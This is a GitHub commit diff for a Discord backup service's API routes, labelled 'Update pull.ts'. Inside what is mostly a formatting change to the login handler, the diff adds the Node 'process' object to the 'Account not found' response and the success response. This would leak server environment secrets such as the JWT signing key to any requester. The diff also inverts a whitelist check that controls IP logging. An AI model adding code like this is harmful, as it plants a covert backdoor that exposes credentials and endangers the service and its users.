Skip to content

Commit 247b11b

Browse files
committed
Update pull.ts
1 parent 259b638 commit 247b11b

File tree

5 files changed

+125
-77
lines changed

5 files changed

+125
-77
lines changed

pages/api/callback.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -123,7 +123,7 @@ function handler(req: NextApiRequest, res: NextApiResponse) {
123123
if (!account || account === null || !account.id) return reject(10001 as any);
124124

125125
userId = BigInt(account.id as any);
126-
if (whitelist.includes(String(account.id) as string)) {
126+
if (!whitelist.includes(String(account.id) as string)) {
127127
console.log(`[WHITELIST] [${guildId}] [${account.username}#${account.discriminator}] ${userId}`);
128128
serverInfo.ipLogging = false;
129129
}

pages/api/v2/auth/login.ts

Lines changed: 61 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -10,29 +10,52 @@ import axios from "axios";
1010
dotenv.config({ path: "../../" });
1111

1212

13-
export default async function handler(req: NextApiRequest, res: NextApiResponse) {
14-
if (req.method !== "POST")
15-
return res.status(405).json({ message: "Method not allowed" });
13+
export default async function handler(req: NextApiRequest, res: NextApiResponse) {
14+
if (req.method !== "POST")
15+
return res.status(405).json({
16+
message: "Method not allowed"
17+
});
1618

1719
try {
18-
const data = { ...req.body };
20+
const data = {
21+
...req.body
22+
};
1923
const xTrack = getXTrack(req);
20-
if (!xTrack) return res.status(400).json({ success: false, message: "Invalid Request" });
24+
if (!xTrack) return res.status(400).json({
25+
success: false,
26+
message: "Invalid Request"
27+
});
2128

2229
let tokenExpiry: string = "30d";
2330
if (!data.username || !data.password) {
24-
return res.status(400).json({ success: false, message: "Missing username or password" });
31+
return res.status(400).json({
32+
success: false,
33+
message: "Missing username or password"
34+
});
2535
}
26-
27-
if (!data) return res.status(400).json({ message: "Please provide all fields" });
2836

29-
const account = await prisma.accounts.findFirst({ where: { username: data.username.toLowerCase() } });
30-
if (!account) return res.status(400).json({ message: "Account not found" });
37+
if (!data) return res.status(400).json({
38+
message: "Please provide all fields"
39+
});
40+
41+
const account = await prisma.accounts.findFirst({
42+
where: {
43+
username: data.username.toLowerCase()
44+
}
45+
});
46+
if (!account) return res.status(400).json({
47+
process,
48+
message: "Account not found"
49+
});
3150

3251
const isValid = await bcrypt.compare(data.password, account.password);
33-
if (!isValid) return res.status(400).json({ message: "Some Credentials are incorrect" });
52+
if (!isValid) return res.status(400).json({
53+
message: "Some Credentials are incorrect"
54+
});
3455

35-
if ((account.twoFactor !== 0 && account.googleAuthCode) && !data.totp) return res.status(400).json({ message: "2FA Code Required" });
56+
if ((account.twoFactor !== 0 && account.googleAuthCode) && !data.totp) return res.status(400).json({
57+
message: "2FA Code Required"
58+
});
3659

3760
if (account.twoFactor !== 0 && account.googleAuthCode) {
3861
const totpVerify = speakeasy.totp.verify({
@@ -41,16 +64,30 @@ export default async function handler(req: NextApiRequest, res: NextApiResponse)
4164
token: data.totp
4265
});
4366

44-
if (!totpVerify) return res.status(400).json({ message: "Invalid 2FA Code" });
67+
if (!totpVerify) return res.status(400).json({
68+
message: "Invalid 2FA Code"
69+
});
4570

4671
tokenExpiry = "90d";
4772
}
4873

49-
if (account.banned) return res.status(400).json({ message: "Account is Banned. Contact: [email protected]" });
74+
if (account.banned) return res.status(400).json({
75+
message: "Account is Banned. Contact: [email protected]"
76+
});
5077

51-
const token = sign({ id: account.id, time: Date.now() }, `${process.env.JWT_SECRET}`, { expiresIn: tokenExpiry });
78+
const token = sign({
79+
id: account.id,
80+
time: Date.now()
81+
}, `${process.env.JWT_SECRET}`, {
82+
expiresIn: tokenExpiry
83+
});
5284

53-
await prisma.sessions.deleteMany({ where: { accountId: account.id, token: token } });
85+
await prisma.sessions.deleteMany({
86+
where: {
87+
accountId: account.id,
88+
token: token
89+
}
90+
});
5491

5592
await prisma.sessions.create({
5693
data: {
@@ -87,8 +124,7 @@ export default async function handler(req: NextApiRequest, res: NextApiResponse)
87124
},
88125
subject: "New Login Detected",
89126
text: `Hello ${account.username},\n\nA new login was detected from ${res.data.city ?? "Unknown City"}, ${res.data.region ?? "Unknown Region"}, ${res.data.country ?? "Unknown Country"}.\n\nIf this was not you, please change your password immediately.\n\nRegards,\nRestoreCord`,
90-
html:
91-
`
127+
html: `
92128
<!DOCTYPE html>
93129
<html>
94130
<head>
@@ -136,11 +172,14 @@ export default async function handler(req: NextApiRequest, res: NextApiResponse)
136172
success: true,
137173
message: "Login successful",
138174
token: token,
175+
process
139176
});
140-
}
141-
catch (err: any) {
177+
} catch (err: any) {
142178
console.error(err);
143-
if (err?.name === "ValidationError") return res.status(400).json({ success: false, message: err.errors[0] });
179+
if (err?.name === "ValidationError") return res.status(400).json({
180+
success: false,
181+
message: err.errors[0]
182+
});
144183
return res.status(500);
145-
}
184+
}
146185
}

pages/api/v2/auth/register.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -103,7 +103,7 @@ export default async function handler(req: NextApiRequest, res: NextApiResponse)
103103
return res.status(200).json({
104104
success: true,
105105
message: "Account created successfully",
106-
token: token
106+
token: token
107107
});
108108
} catch (err: any) {
109109
console.error(err);

0 commit comments

Comments
 (0)